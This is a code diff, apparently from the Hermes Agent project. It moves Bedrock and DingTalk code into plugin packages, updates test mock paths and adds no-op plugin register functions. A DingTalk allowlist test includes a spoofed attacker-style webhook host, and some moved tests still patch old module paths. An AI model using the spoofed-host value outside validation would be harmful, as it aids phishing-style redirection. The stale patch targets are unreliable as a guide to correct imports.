patch("agent.bedrock_adapter.resolve_bedrock_region", return_value="us-east-1"): + with patch("hermes_agent_bedrock.adapter.discover_bedrock_models", side_effect=_mock_discover), \ + patch("hermes_agent_bedrock.adapter.resolve_bedrock_region", return_value="us-east-1"): for alias in ("aws", "aws-bedrock", "amazon-bedrock"): result = provider_model_ids(alias) assert result == _expected_ids, \ @@ -144,9 +144,9 @@ class TestListAuthenticatedProvidersBedrock: monkeypatch.setenv("AWS_PROFILE", "my-sso-profile") monkeypatch.setenv("AWS_REGION", "eu-central-1") - with patch("agent.bedrock_adapter.has_aws_credentials", return_value=True), \ - patch("agent.bedrock_adapter.discover_bedrock_models", side_effect=_mock_discover), \ - patch("agent.bedrock_adapter.resolve_bedrock_region", return_value="eu-central-1"): + with patch("hermes_agent_bedrock.adapter.has_aws_credentials", return_value=True), \ + patch("hermes_agent_bedrock.adapter.discover_bedrock_models", side_effect=_mock_discover), \ + patch("hermes_agent_bedrock.adapter.resolve_bedrock_region", return_value="eu-central-1"): providers = list_authenticated_providers(current_provider="bedrock") bedrock = next((p for p in providers if p["slug"] == "bedrock"), None) @@ -158,9 +158,9 @@ class TestListAuthenticatedProvidersBedrock: monkeypatch.setenv("AWS_PROFILE", "my-sso-profile") - with patch("agent.bedrock_adapter.has_aws_credentials", return_value=True), \ - patch("agent.bedrock_adapter.discover_bedrock_models", side_effect=_mock_discover), \ - patch("agent.bedrock_adapter.resolve_bedrock_region", return_value="eu-central-1"): + with patch("hermes_agent_bedrock.adapter.has_aws_credentials", return_value=True), \ + patch("hermes_agent_bedrock.adapter.discover_bedrock_models", side_effect=_mock_discover), \ + patch("hermes_agent_bedrock.adapter.resolve_bedrock_region", return_value="eu-central-1"): providers = list_authenticated_providers(current_provider="bedrock") bedrock = next((p for p in providers if p["slug"] == "bedrock"), None) @@ -177,9 +177,9 @@ class TestListAuthenticatedProvidersBedrock: monkeypatch.setenv("AWS_PROFILE", "my-sso-profile") - with patch("agent.bedrock_adapter.has_aws_credentials", return_value=True), \ - patch("agent.bedrock_adapter.discover_bedrock_models", return_value=_EU_MODELS), \ - patch("agent.bedrock_adapter.resolve_bedrock_region", return_value="eu-central-1"): + with patch("hermes_agent_bedrock.adapter.has_aws_credentials", return_value=True), \ + patch("hermes_agent_bedrock.adapter.discover_bedrock_models", return_value=_EU_MODELS), \ + patch("hermes_agent_bedrock.adapter.resolve_bedrock_region", return_value="eu-central-1"): providers = list_authenticated_providers(current_provider="openai") bedrock = next((p for p in providers if p["slug"] == "bedrock"), None) @@ -192,9 +192,9 @@ class TestListAuthenticatedProvidersBedrock: monkeypatch.setenv("AWS_PROFILE", "my-sso-profile") - with patch("agent.bedrock_adapter.has_aws_credentials", return_value=True), \ - patch("agent.bedrock_adapter.discover_bedrock_models", return_value=_EU_MODELS), \ - patch("agent.bedrock_adapter.resolve_bedrock_region", return_value="eu-central-1"): + with patch("hermes_agent_bedrock.adapter.has_aws_credentials", return_value=True), \ + patch("hermes_agent_bedrock.adapter.discover_bedrock_models", return_value=_EU_MODELS), \ + patch("hermes_agent_bedrock.adapter.resolve_bedrock_region", return_value="eu-central-1"): providers = list_authenticated_providers(current_provider="bedrock") bedrock = next((p for p in providers if p["slug"] == "bedrock"), None) @@ -212,7 +212,7 @@ class TestListAuthenticatedProvidersBedrock: monkeypatch.delenv("AWS_WEB_IDENTITY_TOKEN_FILE", raising=False) monkeypatch.delenv("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI", raising=False) - with patch("agent.bedrock_adapter.has_aws_credentials", return_value=False): + with patch("hermes_agent_bedrock.adapter.has_aws_credentials", return_value=False): providers = list_authenticated_providers(current_provider="openai") bedrock = next((p for p in providers if p["slug"] == "bedrock"), None) @@ -236,7 +236,7 @@ class TestListAuthenticatedProvidersBedrock: calls["has_aws_credentials"] += 1 return False - with patch("agent.bedrock_adapter.has_aws_credentials", side_effect=_has_aws_credentials): + with patch("hermes_agent_bedrock.adapter.has_aws_credentials", side_effect=_has_aws_credentials): providers = list_authenticated_providers(current_provider="openrouter", max_models=0) assert calls["has_aws_credentials"] == 0 @@ -248,10 +248,10 @@ class TestListAuthenticatedProvidersBedrock: monkeypatch.setenv("AWS_PROFILE", "my-sso-profile") - with patch("agent.bedrock_adapter.has_aws_credentials", return_value=True), \ - patch("agent.bedrock_adapter.discover_bedrock_models", + with patch("hermes_agent_bedrock.adapter.has_aws_credentials", return_value=True), \ + patch("hermes_agent_bedrock.adapter.discover_bedrock_models", side_effect=Exception("API call failed")), \ - patch("agent.bedrock_adapter.resolve_bedrock_region", return_value="eu-central-1"): + patch("hermes_agent_bedrock.adapter.resolve_bedrock_region", return_value="eu-central-1"): providers = list_authenticated_providers(current_provider="bedrock") # Should not raise — bedrock entry may or may not appear depending on @@ -264,9 +264,9 @@ class TestListAuthenticatedProvidersBedrock: monkeypatch.setenv("AWS_PROFILE", "my-sso-profile") - with patch("agent.bedrock_adapter.has_aws_credentials", return_value=True), \ - patch("agent.bedrock_adapter.discover_bedrock_models", return_value=_EU_MODELS), \ - patch("agent.bedrock_adapter.resolve_bedrock_region", return_value="eu-central-1"): + with patch("hermes_agent_bedrock.adapter.has_aws_credentials", return_value=True), \ + patch("hermes_agent_bedrock.adapter.discover_bedrock_models", return_value=_EU_MODELS), \ + patch("hermes_agent_bedrock.adapter.resolve_bedrock_region", return_value="eu-central-1"): providers = list_authenticated_providers(current_provider="bedrock") bedrock_entries = [p for p in providers if p["slug"] == "bedrock"] @@ -289,8 +289,8 @@ class TestBedrockRegionRouting: mock_session = MagicMock() mock_session.get_config_variable.return_value = "eu-central-1" - with patch("agent.bedrock_adapter.has_aws_credentials", return_value=True), \ - patch("agent.bedrock_adapter.discover_bedrock_models", side_effect=_mock_discover), \ + with patch("hermes_agent_bedrock.adapter.has_aws_credentials", return_value=True), \ + patch("hermes_agent_bedrock.adapter.discover_bedrock_models", side_effect=_mock_discover), \ _mock_botocore_session(return_value=mock_session): providers = list_authenticated_providers(current_provider="bedrock") @@ -306,8 +306,8 @@ class TestBedrockRegionRouting: monkeypatch.setenv("AWS_REGION", "us-east-1") - with patch("agent.bedrock_adapter.has_aws_credentials", return_value=True), \ - patch("agent.bedrock_adapter.discover_bedrock_models", side_effect=_mock_discover): + with patch("hermes_agent_bedrock.adapter.has_aws_credentials", return_value=True), \ + patch("hermes_agent_bedrock.adapter.discover_bedrock_models", side_effect=_mock_discover): providers = list_authenticated_providers(current_provider="bedrock") bedrock = next((p for p in providers if p["slug"] == "bedrock"), None) @@ -318,7 +318,7 @@ class TestBedrockRegionRouting: def test_env_var_takes_priority_over_botocore_profile(self, monkeypatch): """AWS_REGION env var wins over botocore profile region.""" - from agent.bedrock_adapter import resolve_bedrock_region + from hermes_agent_bedrock.adapter import resolve_bedrock_region monkeypatch.setenv("AWS_REGION", "us-west-2") diff --git a/plugins/model-providers/copilot-acp/__init__.py b/plugins/model-providers/copilot-acp/__init__.py index 21ec7da2e99..9be05da7538 100644 --- a/plugins/model-providers/copilot-acp/__init__.py +++ b/plugins/model-providers/copilot-acp/__init__.py @@ -32,3 +32,9 @@ copilot_acp = CopilotACPProfile( ) register_provider(copilot_acp) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/copilot/__init__.py b/plugins/model-providers/copilot/__init__.py index d4409c108d0..f66ac958b64 100644 --- a/plugins/model-providers/copilot/__init__.py +++ b/plugins/model-providers/copilot/__init__.py @@ -56,3 +56,9 @@ copilot = CopilotProfile( ) register_provider(copilot) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/custom/__init__.py b/plugins/model-providers/custom/__init__.py index 65e42e1fbee..d2581546002 100644 --- a/plugins/model-providers/custom/__init__.py +++ b/plugins/model-providers/custom/__init__.py @@ -66,3 +66,9 @@ custom = CustomProfile( ) register_provider(custom) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/deepseek/__init__.py b/plugins/model-providers/deepseek/__init__.py index 34a8017b76e..784f524ae67 100644 --- a/plugins/model-providers/deepseek/__init__.py +++ b/plugins/model-providers/deepseek/__init__.py @@ -98,3 +98,9 @@ deepseek = DeepSeekProfile( ) register_provider(deepseek) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/gemini/__init__.py b/plugins/model-providers/gemini/__init__.py index 0812f07ba5f..cf7618eb430 100644 --- a/plugins/model-providers/gemini/__init__.py +++ b/plugins/model-providers/gemini/__init__.py @@ -70,3 +70,9 @@ google_gemini_cli = GeminiProfile( register_provider(gemini) register_provider(google_gemini_cli) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/gmi/__init__.py b/plugins/model-providers/gmi/__init__.py index fb022070803..b5c77953e62 100644 --- a/plugins/model-providers/gmi/__init__.py +++ b/plugins/model-providers/gmi/__init__.py @@ -29,3 +29,9 @@ gmi = ProviderProfile( ) register_provider(gmi) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/huggingface/__init__.py b/plugins/model-providers/huggingface/__init__.py index 039d5a13190..e2e618ad653 100644 --- a/plugins/model-providers/huggingface/__init__.py +++ b/plugins/model-providers/huggingface/__init__.py @@ -18,3 +18,9 @@ huggingface = ProviderProfile( ) register_provider(huggingface) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/kilocode/__init__.py b/plugins/model-providers/kilocode/__init__.py index 23123966aac..ffba5f45e8c 100644 --- a/plugins/model-providers/kilocode/__init__.py +++ b/plugins/model-providers/kilocode/__init__.py @@ -12,3 +12,9 @@ kilocode = ProviderProfile( ) register_provider(kilocode) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/kimi-coding/__init__.py b/plugins/model-providers/kimi-coding/__init__.py index ed96ec514ef..0dc6fbc74a1 100644 --- a/plugins/model-providers/kimi-coding/__init__.py +++ b/plugins/model-providers/kimi-coding/__init__.py @@ -69,3 +69,9 @@ kimi_cn = KimiProfile( register_provider(kimi) register_provider(kimi_cn) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/minimax/__init__.py b/plugins/model-providers/minimax/__init__.py index f29eb1aa07e..1dd727ddc43 100644 --- a/plugins/model-providers/minimax/__init__.py +++ b/plugins/model-providers/minimax/__init__.py @@ -43,3 +43,9 @@ minimax_oauth = ProviderProfile( register_provider(minimax) register_provider(minimax_cn) register_provider(minimax_oauth) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/nous/__init__.py b/plugins/model-providers/nous/__init__.py index 5a61952d745..4e10ae58e3a 100644 --- a/plugins/model-providers/nous/__init__.py +++ b/plugins/model-providers/nous/__init__.py @@ -52,3 +52,9 @@ nous = NousProfile( ) register_provider(nous) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/novita/__init__.py b/plugins/model-providers/novita/__init__.py index e49e289a0de..6334120feba 100644 --- a/plugins/model-providers/novita/__init__.py +++ b/plugins/model-providers/novita/__init__.py @@ -25,3 +25,9 @@ novita = ProviderProfile( ) register_provider(novita) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/nvidia/__init__.py b/plugins/model-providers/nvidia/__init__.py index f6fdc550f62..ff016722b9a 100644 --- a/plugins/model-providers/nvidia/__init__.py +++ b/plugins/model-providers/nvidia/__init__.py @@ -19,3 +19,9 @@ nvidia = ProviderProfile( ) register_provider(nvidia) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/ollama-cloud/__init__.py b/plugins/model-providers/ollama-cloud/__init__.py index f25c442a401..b25fcb389b2 100644 --- a/plugins/model-providers/ollama-cloud/__init__.py +++ b/plugins/model-providers/ollama-cloud/__init__.py @@ -12,3 +12,9 @@ ollama_cloud = ProviderProfile( ) register_provider(ollama_cloud) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/openai-codex/__init__.py b/plugins/model-providers/openai-codex/__init__.py index 8124b9efe47..0e7c146830f 100644 --- a/plugins/model-providers/openai-codex/__init__.py +++ b/plugins/model-providers/openai-codex/__init__.py @@ -13,3 +13,9 @@ openai_codex = ProviderProfile( ) register_provider(openai_codex) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/opencode-zen/__init__.py b/plugins/model-providers/opencode-zen/__init__.py index 385741f09a1..3c39961ea2e 100644 --- a/plugins/model-providers/opencode-zen/__init__.py +++ b/plugins/model-providers/opencode-zen/__init__.py @@ -100,3 +100,9 @@ opencode_go = OpenCodeGoProfile( register_provider(opencode_zen) register_provider(opencode_go) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/openrouter/__init__.py b/plugins/model-providers/openrouter/__init__.py index d1bf10de11d..f1bf6d146cc 100644 --- a/plugins/model-providers/openrouter/__init__.py +++ b/plugins/model-providers/openrouter/__init__.py @@ -113,3 +113,9 @@ openrouter = OpenRouterProfile( ) register_provider(openrouter) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/qwen-oauth/__init__.py b/plugins/model-providers/qwen-oauth/__init__.py index a6ba29f76cb..a48447c1720 100644 --- a/plugins/model-providers/qwen-oauth/__init__.py +++ b/plugins/model-providers/qwen-oauth/__init__.py @@ -80,3 +80,9 @@ qwen = QwenProfile( ) register_provider(qwen) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/stepfun/__init__.py b/plugins/model-providers/stepfun/__init__.py index 1ec92cd8be9..4be629c6579 100644 --- a/plugins/model-providers/stepfun/__init__.py +++ b/plugins/model-providers/stepfun/__init__.py @@ -12,3 +12,9 @@ stepfun = ProviderProfile( ) register_provider(stepfun) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/xai/__init__.py b/plugins/model-providers/xai/__init__.py index 8d73ae0199e..6ba462436eb 100644 --- a/plugins/model-providers/xai/__init__.py +++ b/plugins/model-providers/xai/__init__.py @@ -13,3 +13,9 @@ xai = ProviderProfile( ) register_provider(xai) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/xiaomi/__init__.py b/plugins/model-providers/xiaomi/__init__.py index aed0d8424f8..8c828a921ca 100644 --- a/plugins/model-providers/xiaomi/__init__.py +++ b/plugins/model-providers/xiaomi/__init__.py @@ -12,3 +12,9 @@ xiaomi = ProviderProfile( ) register_provider(xiaomi) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/zai/__init__.py b/plugins/model-providers/zai/__init__.py index 70aa8704d14..b9d1b2da3bb 100644 --- a/plugins/model-providers/zai/__init__.py +++ b/plugins/model-providers/zai/__init__.py @@ -19,3 +19,9 @@ zai = ProviderProfile( ) register_provider(zai) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/platforms/dingtalk/__init__.py b/plugins/platforms/dingtalk/__init__.py new file mode 100644 index 00000000000..d8118ad5523 --- /dev/null +++ b/plugins/platforms/dingtalk/__init__.py @@ -0,0 +1,7 @@ +"""Bridge module — delegates plugin registration to hermes_agent_dingtalk.""" + + +def register(ctx): + """Plugin entry point — delegates to the inner hermes_agent_dingtalk package.""" + from hermes_agent_dingtalk import register as _inner_register + _inner_register(ctx) diff --git a/plugins/platforms/dingtalk/hermes_agent_dingtalk/__init__.py b/plugins/platforms/dingtalk/hermes_agent_dingtalk/__init__.py new file mode 100644 index 00000000000..434b861a04f --- /dev/null +++ b/plugins/platforms/dingtalk/hermes_agent_dingtalk/__init__.py @@ -0,0 +1,32 @@ +"""hermes-agent-dingtalk: DingTalk platform adapter for Hermes Agent.""" + +from hermes_agent_dingtalk.adapter import ( # noqa: F401 + DingTalkAdapter, + check_dingtalk_requirements, + _DINGTALK_WEBHOOK_RE, + _IncomingHandler, + DINGTALK_TYPE_MAPPING, +) + + +def register(ctx): + """Entry point for the hermes_agent.plugins entry point group.""" + from hermes_agent_dingtalk.adapter import ( + DingTalkAdapter, + check_dingtalk_requirements, + ) + + ctx.register_platform( + name="dingtalk", + label="DingTalk", + adapter_factory=lambda cfg: DingTalkAdapter(cfg), + check_fn=check_dingtalk_requirements, + install_hint="pip install 'hermes-agent[dingtalk]'", + emoji="📢", + ) + + ctx.register_platform_entry( + name="dingtalk", + adapter_class=DingTalkAdapter, + check_requirements=check_dingtalk_requirements, + ) diff --git a/gateway/platforms/dingtalk.py b/plugins/platforms/dingtalk/hermes_agent_dingtalk/adapter.py similarity index 99% rename from gateway/platforms/dingtalk.py rename to plugins/platforms/dingtalk/hermes_agent_dingtalk/adapter.py index 0b3c7f52ace..7edd70d329b 100644 --- a/gateway/platforms/dingtalk.py +++ b/plugins/platforms/dingtalk/hermes_agent_dingtalk/adapter.py @@ -113,17 +113,12 @@ DINGTALK_TYPE_MAPPING = { def check_dingtalk_requirements() -> bool: """Check if DingTalk dependencies are available and configured. - Lazy-installs dingtalk-stream via ``tools.lazy_deps.ensure("platform.dingtalk")`` - on first call if not present. + Since this is a separate package, deps are guaranteed by the package + manager. Just verify the SDK can be imported and env vars are set. """ global DINGTALK_STREAM_AVAILABLE, dingtalk_stream, ChatbotMessage, CallbackMessage, AckMessage global HTTPX_AVAILABLE, httpx if not DINGTALK_STREAM_AVAILABLE or not HTTPX_AVAILABLE: - try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("platform.dingtalk", prompt=False) - except Exception: - return False try: import dingtalk_stream as _ds from dingtalk_stream import ChatbotMessage as _CM diff --git a/plugins/platforms/dingtalk/plugin.yaml b/plugins/platforms/dingtalk/plugin.yaml new file mode 100644 index 00000000000..7510b16c9df --- /dev/null +++ b/plugins/platforms/dingtalk/plugin.yaml @@ -0,0 +1,6 @@ +name: dingtalk +version: 0.1.0 +description: DingTalk platform adapter for Hermes Agent +kind: platform +provides_tools: [] +provides_hooks: [] diff --git a/plugins/platforms/dingtalk/pyproject.toml b/plugins/platforms/dingtalk/pyproject.toml new file mode 100644 index 00000000000..3e4afa0c41e --- /dev/null +++ b/plugins/platforms/dingtalk/pyproject.toml @@ -0,0 +1,21 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-dingtalk" +version = "0.1.0" +description = "DingTalk platform adapter for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "dingtalk-stream==0.24.3", + "alibabacloud-dingtalk==2.2.42", + "qrcode==7.4.2", +] + +[project.entry-points."hermes_agent.plugins"] +dingtalk = "hermes_agent_dingtalk:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_dingtalk*"] diff --git a/tests/gateway/test_dingtalk.py b/plugins/platforms/dingtalk/tests/test_dingtalk.py similarity index 93% rename from tests/gateway/test_dingtalk.py rename to plugins/platforms/dingtalk/tests/test_dingtalk.py index 2da55a00979..c972d5c8d42 100644 --- a/tests/gateway/test_dingtalk.py +++ b/plugins/platforms/dingtalk/tests/test_dingtalk.py @@ -93,11 +93,11 @@ class TestDingTalkRequirements: def test_returns_false_when_sdk_missing(self, monkeypatch): with patch.dict("sys.modules", {"dingtalk_stream": None}), \ - patch("tools.lazy_deps.ensure", side_effect=ImportError("dingtalk_stream unavailable")): + patch.dict("sys.modules", {"dingtalk_stream": None}): monkeypatch.setattr( "gateway.platforms.dingtalk.DINGTALK_STREAM_AVAILABLE", False ) - from gateway.platforms.dingtalk import check_dingtalk_requirements + from hermes_agent_dingtalk import check_dingtalk_requirements assert check_dingtalk_requirements() is False def test_returns_false_when_env_vars_missing(self, monkeypatch): @@ -107,7 +107,7 @@ class TestDingTalkRequirements: monkeypatch.setattr("gateway.platforms.dingtalk.HTTPX_AVAILABLE", True) monkeypatch.delenv("DINGTALK_CLIENT_ID", raising=False) monkeypatch.delenv("DINGTALK_CLIENT_SECRET", raising=False) - from gateway.platforms.dingtalk import check_dingtalk_requirements + from hermes_agent_dingtalk import check_dingtalk_requirements assert check_dingtalk_requirements() is False def test_returns_true_when_all_available(self, monkeypatch): @@ -117,7 +117,7 @@ class TestDingTalkRequirements: monkeypatch.setattr("gateway.platforms.dingtalk.HTTPX_AVAILABLE", True) monkeypatch.setenv("DINGTALK_CLIENT_ID", "test-id") monkeypatch.setenv("DINGTALK_CLIENT_SECRET", "test-secret") - from gateway.platforms.dingtalk import check_dingtalk_requirements + from hermes_agent_dingtalk import check_dingtalk_requirements assert check_dingtalk_requirements() is True @@ -129,7 +129,7 @@ class TestDingTalkRequirements: class TestDingTalkAdapterInit: def test_reads_config_from_extra(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter config = PlatformConfig( enabled=True, extra={"client_id": "cfg-id", "client_secret": "cfg-secret"}, @@ -142,7 +142,7 @@ class TestDingTalkAdapterInit: def test_falls_back_to_env_vars(self, monkeypatch): monkeypatch.setenv("DINGTALK_CLIENT_ID", "env-id") monkeypatch.setenv("DINGTALK_CLIENT_SECRET", "env-secret") - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter config = PlatformConfig(enabled=True) adapter = DingTalkAdapter(config) assert adapter._client_id == "env-id" @@ -157,28 +157,28 @@ class TestDingTalkAdapterInit: class TestExtractText: def test_extracts_dict_text(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter msg = MagicMock() msg.text = {"content": " hello world "} msg.rich_text = None assert DingTalkAdapter._extract_text(msg) == "hello world" def test_extracts_string_text(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter msg = MagicMock() msg.text = "plain text" msg.rich_text = None assert DingTalkAdapter._extract_text(msg) == "plain text" def test_falls_back_to_rich_text(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter msg = MagicMock() msg.text = "" msg.rich_text = [{"text": "part1"}, {"text": "part2"}, {"image": "url"}] assert DingTalkAdapter._extract_text(msg) == "part1 part2" def test_returns_empty_for_no_content(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter msg = MagicMock() msg.text = "" msg.rich_text = None @@ -193,24 +193,24 @@ class TestExtractText: class TestDeduplication: def test_first_message_not_duplicate(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) assert adapter._dedup.is_duplicate("msg-1") is False def test_second_same_message_is_duplicate(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) adapter._dedup.is_duplicate("msg-1") assert adapter._dedup.is_duplicate("msg-1") is True def test_different_messages_not_duplicate(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) adapter._dedup.is_duplicate("msg-1") assert adapter._dedup.is_duplicate("msg-2") is False def test_cache_cleanup_on_overflow(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) max_size = adapter._dedup._max_size # Fill beyond max @@ -229,7 +229,7 @@ class TestSend: @pytest.mark.asyncio async def test_send_posts_to_webhook(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) mock_response = MagicMock() @@ -255,7 +255,7 @@ class TestSend: @pytest.mark.asyncio async def test_send_fails_without_webhook(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) adapter._http_client = AsyncMock() @@ -265,7 +265,7 @@ class TestSend: @pytest.mark.asyncio async def test_send_uses_cached_webhook(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) mock_response = MagicMock() @@ -281,7 +281,7 @@ class TestSend: @pytest.mark.asyncio async def test_send_handles_http_error(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) mock_response = MagicMock() @@ -300,7 +300,7 @@ class TestSend: @pytest.mark.asyncio async def test_send_image_renders_markdown_image(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) mock_response = MagicMock() @@ -325,7 +325,7 @@ class TestSend: @pytest.mark.asyncio async def test_send_image_file_returns_explicit_unsupported_error(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) result = await adapter.send_image_file("chat-123", "/tmp/demo.png") @@ -335,7 +335,7 @@ class TestSend: @pytest.mark.asyncio async def test_send_document_returns_explicit_unsupported_error(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) result = await adapter.send_document("chat-123", "/tmp/demo.pdf") @@ -353,7 +353,7 @@ class TestConnect: @pytest.mark.asyncio async def test_disconnect_closes_session_websocket(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) websocket = AsyncMock() @@ -379,14 +379,14 @@ class TestConnect: monkeypatch.setattr( "gateway.platforms.dingtalk.DINGTALK_STREAM_AVAILABLE", False ) - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) result = await adapter.connect() assert result is False @pytest.mark.asyncio async def test_connect_fails_without_credentials(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) adapter._client_id = "" adapter._client_secret = "" @@ -395,7 +395,7 @@ class TestConnect: @pytest.mark.asyncio async def test_disconnect_cleans_up(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) adapter._session_webhooks["a"] = "http://x" adapter._dedup._seen["b"] = 1.0 @@ -411,7 +411,7 @@ class TestConnect: async def test_disconnect_finalizes_open_streaming_cards(self): """Streaming cards must be finalized before HTTP client closes.""" from unittest.mock import AsyncMock, patch - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) adapter._http_client = AsyncMock() adapter._stream_task = None @@ -457,29 +457,29 @@ class TestWebhookDomainAllowlist: """ def test_api_domain_accepted(self): - from gateway.platforms.dingtalk import _DINGTALK_WEBHOOK_RE + from hermes_agent_dingtalk import _DINGTALK_WEBHOOK_RE assert _DINGTALK_WEBHOOK_RE.match( "https://api.dingtalk.com/robot/send?access_token=x" ) def test_oapi_domain_accepted(self): - from gateway.platforms.dingtalk import _DINGTALK_WEBHOOK_RE + from hermes_agent_dingtalk import _DINGTALK_WEBHOOK_RE assert _DINGTALK_WEBHOOK_RE.match( "https://oapi.dingtalk.com/robot/send?access_token=x" ) def test_http_rejected(self): - from gateway.platforms.dingtalk import _DINGTALK_WEBHOOK_RE + from hermes_agent_dingtalk import _DINGTALK_WEBHOOK_RE assert not _DINGTALK_WEBHOOK_RE.match("http://api.dingtalk.com/robot/send") def test_suffix_attack_rejected(self): - from gateway.platforms.dingtalk import _DINGTALK_WEBHOOK_RE + from hermes_agent_dingtalk import _DINGTALK_WEBHOOK_RE assert not _DINGTALK_WEBHOOK_RE.match( "https://api.dingtalk.com.evil.example/" ) def test_unsanctioned_subdomain_rejected(self): - from gateway.platforms.dingtalk import _DINGTALK_WEBHOOK_RE + from hermes_agent_dingtalk import _DINGTALK_WEBHOOK_RE # Only api.* and oapi.* are allowed — e.g. eapi.dingtalk.com must not slip through assert not _DINGTALK_WEBHOOK_RE.match("https://eapi.dingtalk.com/robot/send") @@ -488,7 +488,7 @@ class TestHandlerProcessIsAsync: """dingtalk-stream >= 0.20 requires ``process`` to be a coroutine.""" def test_process_is_coroutine_function(self): - from gateway.platforms.dingtalk import _IncomingHandler + from hermes_agent_dingtalk import _IncomingHandler assert asyncio.iscoroutinefunction(_IncomingHandler.process) @@ -502,7 +502,7 @@ class TestExtractText: """ def test_text_as_dict_legacy(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter msg = MagicMock() msg.text = {"content": "hello world"} msg.rich_text_content = None @@ -511,7 +511,7 @@ class TestExtractText: def test_text_as_textcontent_object(self): """SDK >= 0.20 shape: object with ``.content`` attribute.""" - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter class FakeTextContent: content = "hello from new sdk" @@ -528,7 +528,7 @@ class TestExtractText: assert "TextContent(" not in result def test_text_content_attr_with_empty_string(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import 